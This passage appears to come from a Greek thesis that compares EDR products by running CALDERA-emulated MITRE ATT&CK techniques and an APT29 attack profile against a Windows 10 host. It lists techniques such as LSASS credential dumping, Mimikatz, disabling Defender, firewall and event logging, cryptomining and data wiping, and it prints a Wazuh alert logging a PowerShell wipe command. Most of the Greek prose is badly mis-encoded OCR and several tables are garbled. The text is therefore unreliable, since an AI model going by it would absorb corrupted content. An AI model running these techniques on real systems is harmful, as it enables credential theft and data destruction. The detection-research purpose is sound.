‘>‘ ‘> ‘; t;/ ‘>@ Agents

Ew.12 — Apyprextoviki) OSSEC, https://atomicorp.com

2.2.4.  BlueSpawn

To BLUESPAWN [5] givan yio0 tqv dpa évo gyyeipnuo, to onoio Bpicketar oxdpa ot kdoon
alpha, dev d1abéter Server kot vrootnpiler pévo Windows Clients. TTapdia avtd, mapakorovbovtag v

TOPOLGIaGT TOV TPOYpaupaTog arnd Tovg developers, Oedpnoa 61t eivar po Ttpoctadeio Tov a&ilel va g
do0el Eppaon.

To BLUESPAWN givon éva gpyadeio active defense kot endpoint detection and response, 1o omoio
oTo)eVEL va PonBnoet To Security team MOTE VoL UTOPEGEL YPNYOPE VO OVOYVOPIGEL, VO EVIOTIGEL KOl VoL

eEoloBpevaoet pia kakOBovAN evépyela.

To BLUESPAWN napéyet o e&ng Aettovpyieg:
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Mitigation mode, a&oloyei éva choTnpo 68 oo e pLOUicels aopaleiog Tov TpoTeivovTal
and v Apepikaviky DISA (DISA STIGS) n and v MITRE. EvaAlaktikd pmopel vo
eQappocel Tig pulpicels 6To OGN,

Hunt mode, mpaypotonoiet Eheyyo yio TV gvpeon anchdv, Paciidopevo oto framework g
MITRE ATT&CK.

Monitor mode, mapaxoiovdei cuvexdc 0 choTNU Yo EvOEigelg KakOPOLAOL AOYIGLLKOD.
Katd xavova maparkorovdel kKhedid tng registry, apyeioc cuoTUATOS Kol VIINPEGIEG OL OTOIES
elvar yvootd 6t oyetiCovion pe v ekdAmon pog enibeomng.

Scan mode, a&oloyel Ta gvpnpoto tov Hunt Mode kot amogaivetat av mpokettor 1 Oyt yio

KakOBOLAN EVEPYELO.

Amoteiel éva mold Tpoceato Project to omoio givatl akoun ot edon Alpha.Katd cvvénela

evoéyetan vo, epoavilel mpoPfAnuoata ot Asttovpyio tov. [HopddAnia dev VIAPYEL KOl ETOPKNG

Biproypapio yioo T Aettovpyeia Tov. Avth T oTiyun Asrtovpyei povo oe mepiPdiiov Windows, cov

Stand-Alone epapuoyn. Amd tovg developers tov, extiudror 6Tt cuvtopa Oa givar dtaféoog Kot Evog

agent yio end point Linux kaBdg kot o Server yio ) dtayeipion moliami®v End Points.

& Administrator: Command Prompt

WARNING] »
d] M

Ew.13 - BLUESPAWN Mitigation Mode

Ymv puehét ypnoomombnke n éxdoon 0.5.1

2.2.5.

OpenEDR

ZOUE®VO PE TOV KOTOOKELOOTH U0 0O TIC TO MPUIEG KOl amoteAecpoTikég Avoelg EDR otov

koopo. Yroomnpilel mpog otiyunv povo Windows Client eved m gykotdotaon Stan-Alone Server gival

ovvletn. Ztnv alodldynon ypnotponomdnke o Open Source Windows agent kai 1) TAat@Opua. dtoyeiptong

Comodo Dragon.
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To OpenEDRIE  givar pio Open Source Abon M omoio mapéyetor omd tnv Xcitium (mpodny

Commaodo).
H etonpeia mapéyet dvo emrloyég yKatdoTaong.

H mpdtn emhoyn eivon ) va yivel compilation tov mnyaiov k®owke, Kol £yKaTAoTOoT TEPPAAAOVTOS
ue ypnon Logstash, Elasticsearch ko Filebeat yio tn diayeipion g mhatedoppoc. Exedn avt) n emthoyn
éxet amodetytel eEapeTKd SVOYEPNG, KL LEXPL 1 ETALPEIN VO DAOTIOGEL P TTLO EVKOAT AVGT), SLoBETEL G
Open Source, tov agent ywo Windows kot mopdiinia emtpénel ) dwyeipion tov Endpoints and v

mhlatedppo Comodo Dragon ympic ypémon.
Ta yopakTnplotikd T Avong mepthappévouv:
*  Process Monitoring, yio TV TopakoAo0ONoT ETUEPOVS dlEPYACLDV

*  Network Monitoring, mopokoAovOei tn onpovpyic 1 ToV TEPUATIGUO SEPYASLDY YPTCUOTOLDVTAG

TIG KANGEIC GTO GUGTN .
* Low Level Process Monitoring, @iltpo ductdov yio Topakoiovdnon g 0pactnplotntog Tov SIKTHOoV

* File-System Mini Filter, mapakolodOnon g dpactnpidorog tov kernel kot tov I/O gpotudtov 610

GUOTN A,

* Low Level Registry Monitoring, mopokolovOnon g npocPacn 6t registry ypnolLOTOIdVTOS TIG

KANGELG GTO GUGTNUAL.

Netwark WFP
driver
Universal driver -
o EDR Agent service Ijected DLL

/ T

[ Process

manitor

Ew.14 - High-level interaction diagram for runtime components
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2.2.6. Trend Micro Vision One XDR

To Trend Micro Vision One XDRMY givor pio AMvon n onoia vAomoteitar 6to  cOvVvepo.Avikel 6NV
katnyopio Native, OonAadn 1 TAATEOPUO cLVEPYALETOL KOl OEXETOL TANPOQOPiEC TnAeueTpiog omd

vAomooelg aopaielag e Trend Micro.

Zoppova pe v ekbécm g Forrester yia 1o 40 tetpdunvo tov 2021, n Trend Micro avrkel otnv

katnyopia tov Market Leaders pe tn devtepn peyolvtepn mapovsia, petpd tn Microsoft.

To TopToPOAI0 TG TAATPOPLAG TTEPIAAUPAVEL VINPETiES aoPdAsiag kat duvatotnteg Threat Hunting

Threat Investigations, Incident response and Automation.

YKomog etvan va StamiotmBel OG0 amokAivel  amddoon pio vAomoinong Open Source amd Eva

OVAYVOPICUEVO EUTOPIKO TPOTOV.

2.3. Emiloyn ovotiuatoc-otoyog yio v e€opoimon g enifeonc.

I v e€opoimon g emiBeong emehéyn to Asrtovpyikd cvotnuo Windows10, d10tt anoteAei v
o INUOPIAN ADGT G€ AELTOVPYIKO cvoTnua Yo otafud epyaciog kot mapdAinia pmopel va dokipaotel
0mtO OAEG TIG TAATPOPLEG TTOL £XOVV EMAEYEL amd TNV EPEHVAL.

INa va mpaypotomombei n epevva, yperdotnke va yivet register to Windowsl0 obdotnuo otov

CALDERA Server, pe  ypnon evog PowerShell script. To Windows Defender twv Windows avayvopice

Tov agent cav KakOPovdlo AOYIGUIKS, KOl OV ETETPEYE TNV EYKATAGTACT] TOV.

caldera.ps1
n did not complete su ully because

ommand

Emutiéov o apketég teyxvikég emibeomng, Onmg Yo mapddelypa, otav emysipnnke va kotePel
KakOPOVAO Aoylopikd, avtd avigvedtnke amd 1o Windows Defender Antivirus kot avtipetoniotke,

SoKOTTOVTAG TOPAAAN . TNV emikovovia pe tov CALDERA SERVER.

BehaviorWin32/Persistence Alml

. Severe
12/1372022 S:00 AM (Active)
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I'o avt6 10 Adyo oto Windows Defender, to Virus Real Time Protection kot to Tamper
Protection amevepyomomOnkay , dcte va. yivel To registration tov cvotiuatoc oto CALDERA xot vo unv

SLOKOTTOVTOL TOL TECT.

O o16%0¢ ™G perétng dgv eivor 1 a&loAdynon tov unyovicpov aogdietog tov Windows,aAld n

a&loldynon tov Baduov otov omoio pia emifeon pmopel va aviyvevetat omd v EDR cvotnua.

Emiong n eykotdotacn tov agent mpémet va yiver and to profile tov dwayepiom, d16tt moArég
EVTOAEG exTehoUVTAL e ypnon evtolmv Service Control (sc.exe), ot onoieg eKTEAOVVTAL ATOUAKPVGHEVDL

KO TPEMEL VAL EKTEAEGTOVV LUE AVENUEVO OTKOUDLOTA.

Emmiéov to User Access Control (UAC) pvBuiotnke dote va punv divel £100T0omGEeLg Yo xpfion

avénuévov dikouopdatav (Never notify).

Yta Windows éywe eykatdotacn tov Microsoft SysMon  (https://learn.microsoft.com/en-

us/sysinternals/downloads/sysinternals-suite).

2.4. Em\oyn texvikov

To ATT&CK Matrix mepilapPavet o 6E1pa TOKTIKMV TIG OTOIEG YPNOLOTOIEL O EMTIOEUEVOGS V1oL
Vo amokTNoEL TPoOcPacn o€ €va cvotnua, kabhg emiong kot mbavég texvikég mov epopuolel oe kabe
Texvikn. o Tig avaykeg g perémg Bewmpodpe 0Tt 0 emtifépevog £xel N0 ATOKTNGEL TPOSPUOT] GTO
ovotnua poc. o ovtd 10 Adyo dev €yve YpNON TOKTIKDOV, OVOYVAOPIONG, EYKOTAGTOONG KOl OPYIKNG
TpOcPacnC.

H e&opoimon g enifeong TpaypatonomOnke ¥pnoUOTOL®VTAG 2 TPOGEYYIGELS.

YV TPOTN TPOGEYYIOT] TPAYLOTOTOONKE  EMIAOYN OLUPOPETIKADY TEYVIKMOV 0Omd OLAPOPES
TAKTIKEG. XVVoAIKA emedéynoay 40. H ceipd extéleong akorlovOnce ta cuvin Pripate tpdcPacng os éva
ovotnua. Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery,
Lateral Movement, Collection, Command and Control, Exfiltration, Impact.Ot teyvikég mov eneléynoav
Ntav toyeieg, e v évvolo OTL TO ATOTEAEGUE TOL KAOe Prinatog dev GUVOEETUL UE TNV EKTEAEGT TOL
emopévov. Emiong dev vanpye kdmoilo ¥povikog oxedlacog otn dtodoy] TV TECT, TOPAYOVINS TOL

ocuvnbmg vpioTatol g éva TPAYHOTIKO GEVAPLO.
H teyvicéc avapépovtar otov emdpeEVo Tivaxa.

Ytov mivaka avoeépeTot 1 TakTiKy, 1 TEXVIKN TOV YPTCILOTOLEITAL, KOl O KOOIKOG TNG TEYXVIKNG

TOL YPNOLUOTOLELTAL.
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1. Execution

1.1. System Services

e System Services: Execute a Command as a Service T1569.002

e System Services :Service Creation T1569.002

1.2. User Execution Tactics

o Malicious link execution — Writes text to a file and displays it.: T1059.003

e Malicious file execution — OSTap Payload Download : T1204.002

Xpnotuonotei evo. cscript //E:jscript yio va katepdost Eva apygio

1.3. WMI (Windows Management Instrumentation

o Anuovpyei uia véo. Win32 Process : T1047

2. Persistanse
2.1. Boot or Logon Autostart Execution
° Registry Run Keys/StartUp Folder :T1547.001

RunOnce Key Persistence via PowerShell.

Eykafiotd £va runonce kleldi otnregistry.

2.2. Boot or Logon Initialization Scripts

. Logon Script:T1037.001

Eyxabiotd éva khedi otn registry yia va extelécet gov run batch script oamd to %temp%
directory.

Create Account

. Local Account:T1078.003

Anuiovpyio vEOL AOYOPLAGLOD UE STKOIDUOTO SIYEIPLOTH.

2.3. Event Triggered execution

. AppCert DLLs :T1546.009

Anpovpyel o véa, “AtomicTest” value n omoia deiyver oto AppCert DLL oto AppCertDlls
registry key. Otav gkkiviogt 0 vroloyiotg to DLL Oa poptwbei o dibpopeg diepyacieg kot Oa
dnuovpyeito apyeio ‘AtomicTest.txt’ oto C:\Users\Public\ ®ote va eléyEet oti to DLL gktelécdnke.

2.4. Hijack Execution Flow

o DLL Search Order Highjacking :T1574.001

o Path Interception by Unquoted Path :T1547.009

o Service Registry Permission Weakness:T1547.009
2.5.  Scheduled Task/Job

o Scheduled Job :T1053.002

Anuiovpyio. pog epyociao crov Oo exteleotel oto pEALOV.

2.6. Valid Accounts

. Default Accounts :T1078.001

Evepyomotiei To Guest Account

3. Defense Evasion
3.1.  Abuse Elevation Control Mechanism
. Abuse Elevation Control Mechanism: Bypass User Access Control

Media:T1548.002

3.2. File and directory Permissions Modification

° Windows File and Directory Modification:T1070.006

AlAayn g ypovoos@paydag evog apyeiov pe yprion Powershell

3.3. Hide artifacts

. Hidden Window: T1564.003
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Anpiovpyia evog Kpueov mapafvpov

o Hidden User :T1564.002
Anuovpyio, ypiotn ot registry
3.4. Impair Defenses
° Disable or Modify System Firewall :T1562.004
Amevepyomoinon tov Windows Firewall
° Disable windows Event Logging :T1562.002
Amevepyomoinon Tov Windows Event Logging pe tnv evtod) wevtutil
4. Credential Access
4.1. OS Credential Dumping
° LSASS Memory

Leverage Procdump for Isass memory:T1003.001

Xpnon tov Procdump yio va dwafdoet tn pviun Isass

Credential dumping using NPPSpy:T1003

Xpnon tov NPPSpy yia va koteBacel Ta S10moTELTHPIO TOV ¥PNoTOV

. Security Account Manager

Power dump hashes and usernames from the registry:T71003.002

Unsecure credentials

° Credentials in Registry: Enumeration in HKLM:T1552.002
o Credentials in files:T1552.001
5. Lateral Movement
5.1. Remote Service Session Highjacking
. RDP Highjacking:T1563.002
5.2. Remote Services
o SMB Windows shares
Emyepei va ypdyet oto Admin Share(Admin$):T71021.002
o Windows Remote Management

Enyeipet va avtypdwet to apyeio Sandcat :T1021.006

6. Command and Control
o DNS:T1071.004

Emyeipei va Eexvnoer puo emikowvavio C2 pe ypion tov tpotokdiiov DNS.
o Remote Access Software

Eykabiotd to mpodypappa LogMeln:T1219

7. Exfiltration

7.1. Automated exfiltration: T1020

Anpiovpyel éva, apyeio, emyelpei va to avePdoet Eva Server pe uébodo PUT ko telikd

dlypaoet 1o apyeio.

° Exfiltration Over C2 Channel:T1041
8. Impact
8.1. Account Access Removal
° Change User Password — Windows: T1531
° Data Destruction: Overwrite deleted data on C drive: T1485
8.2. Defacement
. Leave note: Anpiovpyet gva apyeto yo. va to Bpet o ypnotng: T1491
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° Download meme-Katz:T1491
8.3. Resource Highjacking

. Eykabiotd kon ektedei to Monero mining:T1496
8.4. System Shutdown/Reboot
o Logoff System: T1529

ivaxag 1.- Teyvikés mov ypnoipomon)dnkay

Me ) debtepn Tpocéyyion, a&loroyeitoln cuprnepipopd tov EDR amévavti o pio ohokAnpopévn

enibeon. o 10 okomd aVTd eMeAéyn N Tpocouoimon g enibeong APT29.

To ATP29 eivan éva Advanced Treat Group (ATP), To onoio skaletat 6t vroopileton amd T1g
Pwowég pootikég vanpeoieg. Etvar kuping yvootd yo v mopaficon tov g €Bvikng emitponig tov
Anpoxpatikod koppatog tov HILA 1o 2015. To ATP29 éxet dnuovpynoet po 6epd and epyoireia To
omoia cuveEYMG eEeAloaeL Kot BEATIOVEL XTOoYeHOLV KVUPIMG GTNV GLYKEVTIPMGT] KO VITOKAOTY| TANPOPOPLOV
oo to Bopa, OTmG apyEia Kot SIUTIGTEVTHPLN KOl GTO VO, EXLTHYOVV UOVIUN TPOGPACT) GTO GUGTILOTO TOV

Ovpatocty,

Y10 debtepo oeviplo, ypnotuomoleitor po  dapopomomuévn cvvdecsporoyia. H emifeon
npaypatomoteitan o mepipdirov Active Directory.Eykataoctafnke évo ocvotnuo Windows 2019 pe pord
Domain Controller.To cvotmua Windows 10 givar Domain Member.Ot amattiogilg mov apopovy 6Tny

anevepyomoinon tov Windows Defender kot tov UAC, gpappootikay kot 6To GEVAPLO ovTo.
To cevdplo mpoyuatomoleital o€ 6V0 PAGELG.

2y mp®dTn @don, 0 emtiBéuevoc anokTd TpdoacT 6To cLGTNUA UE T XpHon evog reverse Shell,
uolg to BOuo avoiyer éva apyeio mov mepiéyel kaxOBovio Aoyiopkd. O emtiBépuevoc epguva 10
napoflacpuévo cvotnua, avayvepilel v agia Tov, Kot Eexkvd pio aBopufn enibeomn kdvovtag opllovtieg

LLETOKIVIGELS.

21 devtepn @don, o emTBépevog epappolel o pebodikn TpocsEyyion yio va mapofldcel To
GUGTNUO, VO VTOKAEYEL JOMIGTELTHPLN, VO OTOKTAOEL Hoviun mpdcsPacr kot téhog vo mopaPidcet

oAdKANpo to DomaintL,

42



| c2setup

/S Y
( Q}%& | o
\C ) Preparation
\ \/‘1 y

Scenario 1 j kﬁ_ Scenario 2
( N

/R /7 +\\
| 1| Broadinitial Targeted Initial = | ( [ |
\ I/[ £ /]  Compromise Compromise ) |L]// /
L — 4
M

( (}K?L | smash-8-Grab

L 4

|| Deploy Stealth Taolkit

Mot Implemanted .'/ "| Stealth intel Gathering
in ATTECK Eveluations Y L @ ,-’I
Sconarlos \ A
1 =
\ —
_ P, | 8
T > Jf_’ i | | Operational Cleanup
\:1_lrg//

Ew.15 - ATP29 Pon emiBeong

Amd ta extelecuéva teot, ta 21, 25,67,78 anotdyave. 10 1e0T 25, gykabicTavtol 6To GOGTNUN
Tpomomomuéva. epyaieio omd T covito Sysinternals, kai eivon onuoavtikd yio tn covéyeia g enibeong.
To CALDERA amétuye va ta eykatactiost. [1a autd A0Yo £yKoTaoTAONKOY «UE TO YEPL> GTO GLGTNUA
Windows10, katd ) didpkeia ¢ npostopacioc. To teot 3 “Automated Collection” dev ohokinpmOnke

Loy® peyding kabvotépnong (Timed-out). Ta amoteléopata Twv teot 21,67,78 ayvondnkav.

O1 TeyVIKES KO O1 VTIGTOTYEG TAKTIKES, TOV YPTGULOTOLOVVTOL KOl 6T VO GeVApLL amekovilovtal

GTOV TAPUKAT® TIVOKAL.
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Persistence
18 techniques

Privilege Escalation
13 techmiques

Defense Evasion
34 techniques

Credential Access
16 techniques

Discovery
25 techniques

Lateral Movement
9 techniques

Collection

15 technigues 16 technigues

Command and Control

Exfiltration
8 techniques

Impact
13 technigues

Initial Access Execution
9 techniques 10 techniques
Drive-by Compromise Command and Scripting
preter
Exploit Public-Facing
phication Exploitation for Client Execution
Services c
Hardware Additions. MNative API

Phishing -

Replication Through
Removable Media

Supply Chain Comprormise

Trusted Relationship
Valid Accourts

ﬂ Scheduled Taskjiob
‘Shared Modules

n Software Deployment Tools
System Serices ,

n User Execution

‘Windows Management
Instrumentation

I Account Manipulation
BITS Jobs
Boot or Logan Autostart
I Execution .,

Boat or Logon Inttialization

I Sripts .

Browser Extensions

Compromise Client Software
Binary

Create Account _ ..

Create or Modify System
Process

Event Triggered Execution ., .,

Extemal Remate Services
Hiack Execution Flow .

Modiy Authenfication
Process.

Office Application Startup

Pre-05 Boot

Scheduled Task/Job

Server Software
Companent ,

Trafic Signaling
Vald Accourts .

n Abuse Elevation Control
Mechanism

Access Token Manipulation

Boot or Logon Autostart
Exeaition

Boot or Logon Initialization
cripts -

Create or Modify System

Process .,

Domain Policy Moddication

Escape to Host

Event Triggered Exeaution .-

Exploitation for Priviege
Escalation

Hijack Execution Flow
Process Injection .
Scheduled Task/Job

valid Accounts

Abuse Elevation Control
Mechanism

ccess Token Maripuation .,
BITS Jobs.
Debugger Evasion

Deobfuscate/Decode Files or
Information

Direct Volume Access

Bomain Policy Modfication

Execulion Guardrails
Explotation for Defense Evasion

File and irectory Permissions
Modification .,

Hide Artifacts

Hiack Execuion Flow

Impair Defenses

Indicator Removal _

Indirect Command Execution
Mesguerading gy

Moy Authertication Pracess
Maodify Regisiry

Obfuscated Files or Information ...
Pre-0 Boot

Process injedtion ..,

Reflective Cade Loading

Rogue Domain Contraller

Rootit

Subvert Trust Controls

System Binary Proxy Execution .
System Script Proxy Executicn
Template Injection

Traffic Signaling .

‘Trusted Developer Utiities Proxy
Execufion

Use Altemate Authentication
Material

valid Accounts
Virtualization/Sandbox Evasion ..

XL Script Processing

=

Adversary-in-the-Middie
Brute Force

Credentials from Password
Stores

Exploitation for Credential

Forced Authenfication
Forge Web Credentials
Input Capture

Wodify Authentication
Process . .

Mutti-Factor Authentication
Interception

Mutti-Factor Authentication
Request Generation

Network Sniffing
0 Credential Dumping .. n

Steal or Forge Authentication
Certificates

Steal or Forge Kerberos
ickets

Steal Web Session Cookie

Unsecured Credentiais .. n

Account Discavery ;5 l
‘Application Window Discovery

Browser Bookmark Discovery
Debugger Evasion

Domain Trust Discovery

File and Directory Discovery

‘Group Policy Discovery

Network Service Discovery

Network Share Discovery

Network Sniffing

password Policy Discovery

Peripheral Device Discavery
Permission Groups Discavery .. l
Process Discovery

Query Registry

Remote System Discovery

Software Discovery l
System Information Discovery

System Location Discovery

System Network Configuration
“mml

‘System Metwork Connections
Discavery

System Owner/User Discovery
System Service Discovery

Systemn Time Discovery
Virtualizationy/Sandbox Evasion . l

Exploitation of Remote
Services

internal Spearphishing
Lateral Tool Transfer

Remate Service Session
Hiacking

Remote Services

Replcation Through
Remouable Media

Software Deployment Toals
Taint Shared Content

Use Alternate Authentication
Materizl

ID

Adversary-in-the-Middle
Archive Collected Data - - Communication Through
Removable Media
Audio Capture

Data Encoding
Automated Collection

Data Obfuscation
Browser Session Hijacking

Dynamic Resolution

Clipboard Data

Encrypted Channel
Data from Information
Repositories Fallback Channels
Data from Local System Ingress Tool Transfer

Data from Network Shared Multi-stage Channels
rive
Non-Application Layer
col

Data from Removable Media ~ Proto

Data Staged ) Mon-Standard Port
Email Callecion .. Protocal Tunneling
Input Capture Proxy .«

Screen Capture Remote Access Software
Video Capture Traffic Signaling

Web Service

Mvoxag.2 — Katnyopieg teyvik®dv ot enifeon ATP29
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‘Apphcation Layer Protacol . .. n Automated Exftration . n Account Access Removal

Data Transfer Size Limits Data Destrucfion

Efitration Over Altemative f{ Data Encrypted for Impact

protocol .
. Data Manipulation _
Efiltration Over €2 Channel
Defacement .,
Exfiltration Over Other o
Metwork Medium . Disk Wipe

Exfitration Cver Physical Endpoint Denial of Service
edium

Firmware Corruption
Exfiltration Over Web.
Sernce - Inhibit System Recovery
Scheduled Transfer
Resource Hiacking
Service Stop

System Shutdown/Reboot

Network Denial of Senvice .-



TVoKa.

>to Caldera ypnoponombnke to Adversary Profile ATP29.Ta emyépovg teot mov mepthapBavel, Tapovotdloviol atov akdAovbo

1 RTLO Start Sandcat execution Masquerading: Right-to-Left Override

2 PowerShell execution Command and Scripting Interpreter: PowerShell
3 Automated Collection collection Automated Collection

4 System Network Configuration Discovery discovery System Network Configuration Discovery

B System Network Configuration Discovery discovery System Network Configuration Discovery

6 System Owner / User Discovery discovery System Owner/User Discovery

7 Data from staged fileand Exfiltration over C2 Channel exfiltration Exfiltration Over Command and Control Channel
8 Process Discovery discovery Process Discovery

9 Process Discovery discovery Process Discovery

10 System Service Discovery discovery System Service Discovery

11 System Service Discovery discovery System Service Discovery

12 System Information Discovery discovery System Information Discovery

13 System Information Discovery discovery System Information Discovery

14 Permissions Groups Discovery discovery Permission Groups Discovery

15 Permissions Groups Discovery discovery Permission Groups Discovery

16 Permissions Groups Discovery discovery Permission Groups Discovery

17 Account Discovery discovery Account Discovery

18 Account Discovery discovery Account Discovery

19 Query Registry discovery Query Registry

20 Staging monkey PNG defensive-evasion Masquerading: Match Legitimate Name or Location
21 Bypass User Account Control privilege-escalation Access Token Manipulation: Token Impersonation/Theft
22 UAC Bypass via Backup Utility privilege-escalation Abuse Elevation Corg?[:tll'\g;echanlsm: Bypass User Account
23 Registry Cleanup for UAC Bypass Technique defensive-evasion Modify Registry

24 Process Injection privilege-escalation Process Injection

25 Planting Modified Sysinternals Utilities stage-capabilities Masquerading: Match Legitimate Name or Location
26 Remote System Discovery discovery Remote System Discovery

27 Remote System Discovery discovery Remote System Discovery

28 System Network Configuration Discovery discovery System Network Configuration Discovery

29 Process Discovery discovery Process Discovery

30 Artifact Cleanup - Delete Files defensive-evasion Indicator Removal on Host: File Deletion

31 Loading Stage-2 & Performing Discovery discovery System Information Discovery

32 4.C.2 - System Network Connections Discovery (T1049) discovery System Network Connections Discovery
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33

Credential Dumping using Process Injection

credential-access

Credential Dumping

34 Persistent Service 1 persistence Boot or Logon Autostart Execution: Shortcut Modification
35 Persistent Service 2 persistence Boot or Logon Autostart Execution: Shortcut Modification
36 Access Token Manipulation defensive-evasion Access Token Manipulation

37 Credentials In Files- Chrome credential-access Credential Dumping

38 Query Registry defensive-evasion Access Token Manipulation

39 Credentials In Files (T1081) - Private Keys Extraction credential-access Unsecured Credentials: Private Keys

40 Staging files for PowerShell module imports defensive-evasion Masquerading: Match Legitimate Name or Location
41 Screen Capturing collection Screen Capture

42 Automated Collection (T1119) - Clipboard (T1115) collection Clipboard Data

43 Automated Collection (T1119) - Input Capture (T1417) collection Input Capture: Keylogging

44 Data from staged file ((Trll%zli))and Exfiltration over C2 Channel exfiltration Exdfiltration Over C2 Channel

45 Remote File Copy (T1105) defensive-evasion Access Token Manipulation: Token Impersonation/Theft
46 Remote System Discovery (T1018) execution Command and Scripting Interpreter: PowerShell

47 Identifying current user on other machines execution Command and Scripting Interpreter: PowerShell

48 File and Directory Discovery (T1083) defensive-evasion Access Token Manipulation: Token Impersonation/Theft
49 Copy Sandcat File lateral-movement Ingress Tool Transfer

50 Screen Capture (T1113) collection Screen Capture

51 File and Directory Discovery (T1083) discovery File and Directory Discovery

52 Automated document collection (T1119) execution Command and Scripting Interpreter: PowerShell

53 Data from staged file (&i%zdi))and Exfiltration over C2 Channel exfiltration Exfiltration Over C2 Channel

54 Artifact Cleanup - Delete Staged Files defensive-evasion Indicator Removal on Host: File Deletion

55 Artifact Cleanup defensive-evasion Indicator Removal on Host: File Deletion

56 Startup Folder Persistence Execution lateral-movement Boot or Logon Initialization Scripts: Startup Items

57 Click. LNK payload execution User Execution: Malicious File

58 Timestomp kxwn.lock defensive-evasion Indicator Removal on Host: Timestomp

59 Detect Anti-Virus discovery Software Discovery: Security Software Discovery

60 Detect Software discovery Software Discovery

61 Enumerate Computer Name discovery System Information Discovery

62 Enumerate Domain Name discovery System Information Discovery

63 Enumerate Username discovery System Owner/User Discovery

64 Enumerate Processes discovery Process Discovery

65 UAC Bypass via sdctl defensive-evasion Access Token Manipulation: Create Process with Token
66 Credential Dumping credential-access Credential Dumping

67 Stage Mimikatz Binary credential-access Credential Dumping

&2 WMI Persistence technique persistence Evlzr]sttlﬁe%et;et?o?g\f::to&;l:\)glcl ﬂig\gf‘ Management
69 Enumerate Domain Controller discovery Remote System Discovery

70 Enumerate Domain SID discovery System Owner/User Discovery
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71 Remote Connecction (T_1028) & Remote File Copy (T1105) & lateral-movement Ingress Tool Transfer
redential Dumping
72 Collect E-mails collection Email Collection: Local Email Collection
73 Collect Files & Compress Collection collection Data from Local System
74 Exfiltrate data to OneDrive exfiltration Transfer Data to Cloud Account
75 Data Wiping of staged files impact Disk Wipe: Disk Content Wipe
76 Execute Invoke-Mimikatz credential-access Credential Dumping
7 Triggering Persistent persistence Signed Binary Proxy Execution: Rundll32

IMvokoc.3 — CALDERA, cs1pd ektéleong 1evikadV 611 emifeon ATP29
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3. Amoteléopato GOYKPIONG

3.1. WAZUH

To WAZUH xair 10 OSSEC £yovv mapopoto tpomo AeLtovpyeiog kot Topopuetponoinons. Avtd
oeeieitar 610 611 To WAZUH ypnoiponotel o tporomomuévn éxdoon tov agent too OSSEC. Avtd
amekovileton Ko ota apysio pvbuicemv tove. (0ssec.conf).

<!-- Log analysis -->
<localfile>
<location>Microsoft-Windows-Sysmon/Operational</location>
<log_format>eventchannel</log_format>
</localfile>

<localfile>
<location>Security</location>
<log_format>eventchannel</log_format>
<query>Event/System[EventID != 5145 and EventID != 5156 and EventID != 5447 and
EventID != 4656 and EventID != 4658 and EventID != 4663 and EventID != 4660 and
EventID 1= 4670 and EventID !'= 4690 and EventID !'= 4703 and EventID != 4907 and
EventID 1= 5152 and EventID != 5157]</query>
</localfile>

<localfile>
<location>System</location>
<log_format>eventchannel</log_format>
</localfile>

IMivokog 4 - Mapaderypa configuration file WAZUH agent

<localfile>
<location>Security</location>
<log_format>eventlog</log_format>
</localfile>

<localfile>
<location>Microsoft-Windows-PrintService/Operational</location>
<log_format>eventchannel</log_format>

</localfile>

IMivaokog 5 - Mapaderypa configuration file OSSEC agent.
Kat ta dvo mapakorovBovv ta System, Application, Security Windows Events,PowerShell Events
kot SysMonitor Events.

Mia Booiky dtapoporoinon givar 611t to WAZUH ypnoonotei tov 6po “eventchannelg” yuo va

dnAdoet Tig nyeg v events evd to OSSEC ypnoylonotei tov dpo “eventlog”.

To WAZUH eivar évag ocuvovooudg SIEM ka1t EDR.AwOéter poo koveoro oty omoia

KOTOypaQOVTAL HE AETTOUEPELES TA YEYOVOTA TTOL £xovv ovykevipwbel amd ta Windows Event Logs
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(Security Events).H xovoola avt KOTAPEPE VO, GLYKEVIPMGEL OAO TO TEPIGTOTIKG omd To. Security,
System, PowesShell ka1 Symon Event Logs. TTpaypotonoinoe mAnpn oneikovion 6Amv tov Events, pe tig

Aemtopépeteg mov kataypdpovior oto Windows Event Log.

To WAZUH dwBétel mépa amd v Kotaypoar], Kot duvatdtnra vo avtioTolyilel 1o mepoTaTiKa
oe teyvikég emibeong ovpewva pe to framework g MITRE ATT&CK. Onwg dwmiotdbnke m
avtwotoiylon Ogv elvar akpipng. T mopadetypa n teyviky T1564.002 pe v omoia dnuovpysiton €vag
xpnomg péow g Registry. To WAZUH v avayvopiler og T1098, mov sivar teyvikh yioa va
expeTorievtel o emtiBépevog Eva Aoyaplacuo ypNoTh, 1 VO TPOCTELAGEL L0, TOMTIKT AGPAAELNG GYETIKN
ue tn dwyeipton ypnotov. O dwyxepiotig Oa e1domombel 6TL Tpaypatt kdtt svuPaivel, aAld o Ba eoTidoel

0N 0oTo onueio enibeong.

To WAZUH vrootpilel ) ypnon kovovov SIGMA.Me auto Tov Tpomo dnuovpyel 00T GELS

dapalovrag ta Windows Events, kot kavet avtiotoiyion pe to MITRE ATT&CK framework.

I to okomd NG £pevvag, ypnotpomomdnkay kavoveg mov avaivovv to. Windows Log Events
ovumepapfavopévov twv PowerShell kot SYSMON Events.O o6toyog givar vo dlomiotmbel av kot o€

noto Baduod Bertiovouv Tig duvatotnteg tov WAZUH.
Xpnopomomdnkav ot kovéveg mov dtatifevron and T SIGMALZ,

To amotélecpa NTOV VO AVOYVOPIGTOUV TEPICCOTEPEG VITOTTES EVEPYELES, KUPIMG amd Ta, Sysmon
Events kot dgvtepevdving and ta PowerShell Events. Ta yeyovota mapovcidotmkoy otov Tivaka Security

Events ka1 61 otov mivaka MITRE, mov Ba tav mo mpaktiko.

270 TOPOKATO TOpAdetypa gaivetan o gvtomiopog g texvikng “Data wiping of staged files” ue
ypnon kovova SIGMA . Katé v eniBeon exteleite to script wipe.psl.H avopaiio evtoniotnke, oAld

avoyvopionKe cov evioAn nov ekteléotnke amd to MS Office.

. Feb 1, 2823 @ 22:51:84.517 Microsoft Office Product Spawning Windows Shell Mic

[ Expanded document

Table JSON

t _index wazuh-alerts-4.x-2023.02.01

t agent.id 683

t agent.ip 192.168.1.16

t agent.name DESKTOP-PESFJ65

t data.win.eventdata.commandLine powershell.exe -ExecutionPolicy Bypass -C \". .\\wipe.ps1;wipe \\\"m.exe\\\";wipe \\\"C:\\

LA

Ew.16 — Evromopodg aneiig ané kavova SIGMA
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¥10 emdpevo mapdderypa 1 gidonoinon éxel dnuiovpyndei and éva PowewsShell Event.

"Exet pua yevikn meptypapr|, aAAG evtomioe v ektédeon Tov SCript powerview.psl, to omoio {nrtdet

